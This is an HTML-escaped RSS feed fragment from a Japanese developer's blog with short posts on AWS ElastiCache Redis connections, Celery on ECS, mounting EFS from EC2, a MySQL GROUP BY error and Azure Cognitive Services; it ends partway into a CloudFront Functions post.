&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;REDIS_URL&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;redis://mycloud-stage-redis-nc.sigrvp.ng.0001.apne1.cache.amazonaws.com:6379/0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ export &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;cat .env|xargs&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ redis-cli -u $REDIS_URL PING
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PONG
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="python"&gt;Python&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;redis-py&lt;/code&gt;: &lt;a href="https://github.com/redis/redis-py"&gt;https://github.com/redis/redis-py&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;django-redis&lt;/code&gt;: &lt;a href="https://github.com/jazzband/django-redis"&gt;https://github.com/jazzband/django-redis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;channels_redis&lt;/code&gt;: &lt;a href="https://github.com/django/channels_redis"&gt;https://github.com/django/channels_redis&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="クラスターモードへの接続"&gt;クラスターモードへの接続&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://redis.readthedocs.io/en/stable/connections.html#cluster-client"&gt;Cluster Client&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; logging
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; redis.cluster &lt;span style="color:#f92672"&gt;import&lt;/span&gt; RedisCluster
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ENDPOINT &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;mycloud-stage-redis-test.sigrvp.clustercfg.apne1.cache.amazonaws.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;basicConfig(level&lt;span style="color:#f92672"&gt;=&lt;/span&gt;logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;INFO)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis &lt;span style="color:#f92672"&gt;=&lt;/span&gt; RedisCluster(host&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ENDPOINT, port&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;6379&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; redis&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ping():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;&amp;#34;Connected to Redis&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;django-redis:&lt;/p&gt;</description></item><item><title>Celery AWS ECS</title><link>https://hdknr.github.io/blogs/posts/2023/07/celery-aws-ecs/</link><pubDate>Thu, 13 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/celery-aws-ecs/</guid><description>&lt;h1 id="celery-on-ecs"&gt;Celery on ECS&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/hankehly/items/c3e0496eb04327a53ac4#redis"&gt;【Python Celery】本番運用時に知っておくべき 10 のこと&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Alexmhack/Django-Celery-Redis-AWSEB"&gt;https://github.com/Alexmhack/Django-Celery-Redis-AWSEB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="redis"&gt;Redis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ken0-1n.hatenablog.com/entry/2017/12/05/114653"&gt;Celery + AWS Redis で使ってみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="クラスターモード"&gt;クラスターモード&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Redis &amp;gt;= 3.2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://dev.classmethod.jp/articles/elasticache-cluster-mode/"&gt;ElastiCache for Redis のクラスターモードについて調べてみる&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sqs"&gt;SQS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;broker&lt;/code&gt; としてつかえるが、 &lt;code&gt;backend&lt;/code&gt; としては使えない(SQS + RabbitMQ/Redis/SQLAlchemy を考える)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/nerd-for-tech/celery-sqs-on-django-on-elastic-beanstalk-98e20ccf95c1"&gt;Celery + SQS on Django on Elastic Beanstalk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://python.plainenglish.io/deploying-django-on-aws-setting-up-celery-and-sqs-95632a6e79cb"&gt;Deploying Django on AWS: Setting up Celery and SQS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/daiquiri_team/deploying-django-application-on-aws-with-terraform-setting-up-celery-and-sqs-38ik"&gt;Deploying Django Application on AWS with Terraform. Setting up Celery and SQS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ecs"&gt;ECS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/61989311/running-celery-tasks-and-celery-beat-in-ecs-with-django"&gt;running celery tasks and celery beat in ECS with Django&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/docker/compose/issues/8040"&gt;docker compose ecs deploy aws tutorial: celery incompatible attribute #8040&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.quartetcom.co.jp/2018/11/09/byebye-aws-batch/"&gt;AWS Batch を検討したけど AWS Fargate を採用した話&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="celery-logging"&gt;Celery Logging&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.celeryq.dev/en/stable/reference/celery.app.log.html"&gt;celery.app.log&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://distributedpython.com/posts/three-ideas-to-customise-celery-logging-handlers/"&gt;Three Ideas to Customise Celery logging handlers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;標準出力:&lt;/p&gt;</description></item><item><title>EC2 mount EFS</title><link>https://hdknr.github.io/blogs/posts/2023/07/ec2-mount-efs/</link><pubDate>Wed, 12 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/ec2-mount-efs/</guid><description>&lt;h1 id="aws-ec2-moutn-efs"&gt;AWS EC2 moutn EFS&lt;/h1&gt;
&lt;h2 id="e2-からマウント"&gt;E2 からマウント&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;EFS_ID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;fs-0f90bd97a364a6e94&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PKG&lt;span style="color:#f92672"&gt;=&lt;/span&gt;amazon-efs-utils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RES&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;dpkg --get-selections | grep $PKG&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MOUNT_PATH&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/efs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; -z &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;RES&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apt update &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt upgrade -y &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt autoremove -y
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apt-get -y install binutils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; git clone https://github.com/aws/efs-utils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cd efs-utils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ./build-deb.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apt-get install -y ./build/amazon-efs-utils*deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; ! -d $MOUNT_PATH &lt;span style="color:#f92672"&gt;]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mkdir $MOUNT_PATH
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mount -t efs $EFS_ID:/ $MOUNT_PATH
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>MySQL only_full_group_by</title><link>https://hdknr.github.io/blogs/posts/2023/06/mysql-only_full_group_by/</link><pubDate>Fri, 30 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/mysql-only_full_group_by/</guid><description>&lt;h1 id="only_full_group_by"&gt;&lt;code&gt;only_full_group_by&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;エラー:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OperationalError: (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 1055,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;Expression #1 of SELECT list is not in GROUP BY clause
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; and contains nonaggregated column &amp;#39;server.sales_sales.sales_status&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; which is not functionally dependent on columns in GROUP BY clause;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; this is incompatible with sql_mode=only_full_group_by&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;対処: &lt;code&gt;sql_mod&lt;/code&gt; に &lt;code&gt;traditional&lt;/code&gt; を指定する&lt;/p&gt;</description></item><item><title>azure cognitive service</title><link>https://hdknr.github.io/blogs/posts/2023/06/azure-cognitive-service/</link><pubDate>Thu, 29 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/azure-cognitive-service/</guid><description>&lt;h1 id="azure-cognitive-services"&gt;Azure Cognitive Services&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://learn.microsoft.com/ja-jp/azure/cognitive-services/what-are-cognitive-services"&gt;Azure Cognitive Services&lt;/a&gt;&lt;/strong&gt; は、Microsoft Azure の製品として提供されている &lt;strong&gt;AI 機能作成サービス&lt;/strong&gt;です ¹².
これらのサービスは、REST API およびクライアントライブラリ SDK を使用して、人工知能を直接的に利用することなく、アプリケーションに認識、言語理解、音声、画像、検索などの機能を追加することができます ¹³.&lt;/p&gt;
&lt;p&gt;Azure Cognitive Services は、視覚、音声、言語、決定、検索などの分野を対象に AI 機能を簡単に利用することができます ¹.
また、学習済みの AI モデル予測機能を活用できるのが特徴です ¹.&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/6/30&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) AI をもっと身近に！Azure Cognitive Services とは？今注目されて &amp;hellip;. &lt;a href="https://www.rworks.jp/cloud/azure/azure-column/azure-entry/28078/"&gt;https://www.rworks.jp/cloud/azure/azure-column/azure-entry/28078/&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) Azure Cognitive Services とは - Azure Cognitive Services. &lt;a href="https://learn.microsoft.com/ja-jp/azure/cognitive-services/what-are-cognitive-services"&gt;https://learn.microsoft.com/ja-jp/azure/cognitive-services/what-are-cognitive-services&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) Cognitive Services - AI ソリューション向け API | Microsoft Azure. &lt;a href="https://azure.microsoft.com/ja-jp/products/cognitive-services/"&gt;https://azure.microsoft.com/ja-jp/products/cognitive-services/&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="カテゴリ"&gt;カテゴリ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;視覚&lt;/li&gt;
&lt;li&gt;音声&lt;/li&gt;
&lt;li&gt;Language&lt;/li&gt;
&lt;li&gt;決定&lt;/li&gt;
&lt;li&gt;Azure OpenAI Service&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Cloud Function defautl pages</title><link>https://hdknr.github.io/blogs/posts/2023/06/cloud-function-defautl-pages/</link><pubDate>Mon, 26 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/cloud-function-defautl-pages/</guid><description>&lt;h1 id="aws-cloudfuntion-url-変更"&gt;AWS CloudFuntion URL 変更&lt;/h1&gt;
&lt;p&gt;AWS CloudFront Functions を使用して、ブラウザリクエストの URL を書き換えてオリジンに送信するには、HTTP リクエストを別の URL にリダイレクトする関数を作成する必要があります。
AWS ドキュメントには、CloudFront Functions を使用して HTTP リクエストを別の URL にリダイレクトする方法が記載されています ¹。&lt;/p&gt;
&lt;p&gt;また、Classmethod 社の記事には、CloudFront Functions でオリジンに手を加えずに URL リダイレクトを行う方法が記載されています ³。&lt;/p&gt;
&lt;p&gt;ご参考までに、以下は CloudFront Functions で HTTP リクエストを別の URL にリダイレクトする例です ²。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
